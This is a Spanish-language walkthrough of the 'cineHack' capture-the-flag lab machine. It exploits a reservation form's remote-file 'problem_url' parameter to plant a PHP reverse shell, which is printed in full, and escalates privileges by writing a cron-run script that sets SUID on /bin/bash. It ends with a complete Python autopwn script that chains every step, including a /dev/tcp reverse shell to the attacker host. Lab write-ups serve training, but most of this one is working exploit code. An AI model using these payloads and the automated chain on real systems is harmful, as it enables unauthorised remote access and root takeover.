> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/cinehack-write-up.md).

# cineHack write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/XSsmMFPbq1yNGsOpkBFT" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/cl4SIwARYfcplghqeXGu" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/5YcKbVPgGVxcZIKKJJjY" alt=""><figcaption></figcaption></figure>

Como no encontramos nada, probaremos a ingresar `cinema.dl` en nuestro archivo `/etc/hosts` para que el dominio apunte a la IP `172.17.0.2`.

<figure><img src="/files/grstSb3nuUUF1CaPyYPu" alt=""><figcaption></figcaption></figure>

Ahora ingresamos `cinema.dl` en el navegador.

<figure><img src="/files/MdvNRXzwg4r0g7koY3RM" alt=""><figcaption></figcaption></figure>

Si inspeccionamos la página observaremos que la única película con entradas disponibles es `El tiempo que tenemos`, así que hacemos clic en la película.

<figure><img src="/files/1RdDBuxPD4JzWyvcNzjM" alt=""><figcaption></figcaption></figure>

Esto redirecciona a `http://cinema.dl/reserva.html`, donde podemos realizar una reserva de asientos para ver la película.

<figure><img src="/files/R0trQb0zTaJnFitmvMXh" alt=""><figcaption></figcaption></figure>

Lo que vamos a hacer es capturar está petición con **Burpsuite** para ver de que manera se envían los datos.

<figure><img src="/files/0Do8kTfjAVJKU2rZ10UI" alt=""><figcaption></figcaption></figure>

Al analizar la petición observamos que los datos se envían al archivo `/reservation.php`, además, contemplamos que junto a los datos introducidos también se envía el parámetro `problem_url'` con valor `http%3A%2F%2Ftusitio.com%2Fuploads%2Fwebshell.php`. Así que vamos a levantarnos un servidor con Python y vamos a hacer una petición en la que el valor de `problem_url` sea a nuestro servidor para descargar un archivo malicioso.

El contenido de `shell.phar` (lo hice con shell.phar ya que el servidor ya cuenta con un archivo llamado `shell.php`):

```php
<?php

/**
 * Plugin Name: Shell
 * Description: Plugin de pentesting para probar seguridad en WordPress.
 * Version: 1.0
 * Author: PentestMonkey
 */


set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

```bash
python3 -m http.server 80
```

```bash
curl "http://cinema.dl/reservation.php?problem_url=http://172.17.0.1/shell.phar"
```

<figure><img src="/files/HLLY9mPg16XV6Ui3Jixd" alt=""><figcaption></figcaption></figure>

Ahora que la petición se realizo correctamente, buscaremos donde se pude encontrar el archivo malicioso que descargamos. Para ello, usaremos **gobuster**, que enumerará rutas y archivo ocultos. Además usaremos un diccionario usando varios datos de la página.

```plaintext
andrew
garfield
andrewgarfield
florence
pugh
florencepugh
el_tiempo_que_tenemos
eltiempoquetenemos
brooklny
```

```bash
gobuster dir -u http://cinema.dl/ -w rutas.txt -x txt,html,php,py,bak
```

<figure><img src="/files/TBbaRjsQ1QXkX0mCNOGW" alt=""><figcaption></figcaption></figure>

Esto significa que existe el directorio `andrewgarfield`, así que ingresamos la ruta `http://cinema.dl/andregarfield` en el navegador.

<figure><img src="/files/waqd4ZmipEjj2supuqY2" alt=""><figcaption></figcaption></figure>

Ahora solo quedaría ponerse en escucha por el puerto 4444 y hacer clic en shell.phar.

<figure><img src="/files/oBSlQ0S6iEqppi8La9IU" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar el binario `/bin/php` como el usuario `boss`.

<figure><img src="/files/Kql0B3dnWq1bUuCmxyIv" alt=""><figcaption></figcaption></figure>

Sin embargo, si utilizamos esto para intentar escalar privilegios el proceso se terminará, si ejecutamos el comando `ps aux | cat`, veremos que se está ejecutando el script `/var/spool/cron/crontabs/root.sh` cada minuto.

<figure><img src="/files/jABpkkrPAH8tVNch1nxr" alt=""><figcaption></figcaption></figure>

Además vemos que el usuario `boss` puede acceder al script. Por lo que ejecutaremos lo siguiente para visualizar el contenido de `/var/spool/cron/crontabs/root.sh`.

```bash
sudo -u boss php -r "system('cat /var/spool/cron/crontabs/root.sh');"
```

<figure><img src="/files/kKCvJRzY3pPrn5WaQQji" alt=""><figcaption></figcaption></figure>

Esto indica que se está ejecutando el script `/opt/update.sh`, el cual se encarga de terminar todas las sesiones del usuario `boss`, y el script `/tmp/script.sh`, el cual no existe, y por lo tanto crearemos con el siguiente contenido:

```bash
cat > /tmp/script.sh << 'EOF'
#!/bin/bash

chmod 4777 /bin/bash
EOF
```

Ahora solo quedaría darle permisos de ejecución al script y en un tiempo podremos ejecutar el comando `bash -p` para obtener una shell con privilegios elevados.

<figure><img src="/files/4RQtKEUeyUbn6DpqIyMK" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```
import os
import time
import subprocess

def verificar_hosts(dominio="cinema.dl", ruta="/etc/hosts"):

    try:
    
        with open(ruta, "r") as archivo:
    
            for linea in archivo:
    
                if linea.strip().startswith("#") or not linea.strip():

                    continue
                
                if dominio in linea:
                    print(f"[+] El dominio {dominio} está presente en {ruta}")
                    return
        
        print(f"[-] El dominio '{dominio}' NO está presente en {ruta}")
        exit() 
    
    except Exception as e:
        print(f"[!] Error al leer {ruta}: {e}")
        exit()


def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 2
sleep 5
spawn zsh
expect "└─$ "
send "nc -nlvvp 444\r"

expect " "
send {cat > /tmp/script.sh << 'EOF'
#!/bin/bash

chmod 4777 /bin/bash
EOF}

expect " "
send "\r"

sleep 1

expect "$ "
send "chmod 0777 /tmp/script.sh\r"

sleep 1

expect "$ "
send {sleep 60}
send "\r"

sleep 1

set timeout 60
expect "$ "
send {bash -p}
send "\r"

sleep 1

expect "# "
send {bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1}

sleep 1

expect " "
send "\r"

interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "python3 -m http.server 80\r"
interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")

def crear_script_expect3():

    print("[+] Creando script3.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send {while true; do curl "http://cinema.dl/andrewgarfield/shell.phar" ; sleep 1; done}
send "\r"
interact
"""

    with open("script3.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script3.exp creado correctamente.")
    os.system("chmod 0777 script3.exp")

def crear_script_expect4():

    print("[+] Creando script4.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send {curl -s 'http://cinema.dl/reservation.php?problem_url=http://172.17.0.1/shell.phar'}
send "\r"
interact
"""

    with open("script4.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script3.exp creado correctamente.")
    os.system("chmod 0777 script4.exp")

def crear_shell():

    print("[+] Creando shell.php...")
    
    contenido = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 
"""

    with open("shell.phar", "w") as f:
        f.write(contenido)
    print("[+] Archivo shell.phar creado correctamente.")
    

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def iniciar_escucha3():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script3.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def iniciar_escucha4():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script4.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def main():

    verificar_hosts()

    time.sleep(1)

    crear_shell()

    time.sleep(1)

    crear_script_expect2()

    time.sleep(.5)

    iniciar_escucha2()

    time.sleep(.5)
    
    crear_script_expect4()

    time.sleep(0.5)

    iniciar_escucha4()

    time.sleep(.5)

    crear_script_expect3()

    time.sleep(1)

    iniciar_escucha3()

    time.sleep(1)

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(1)

    os.system("nc -nlvvp 4444")

    os.system("rm script1.exp shell.phar script2.exp script3.exp script4.exp")
    

if __name__ == "__main__":
    main()
```
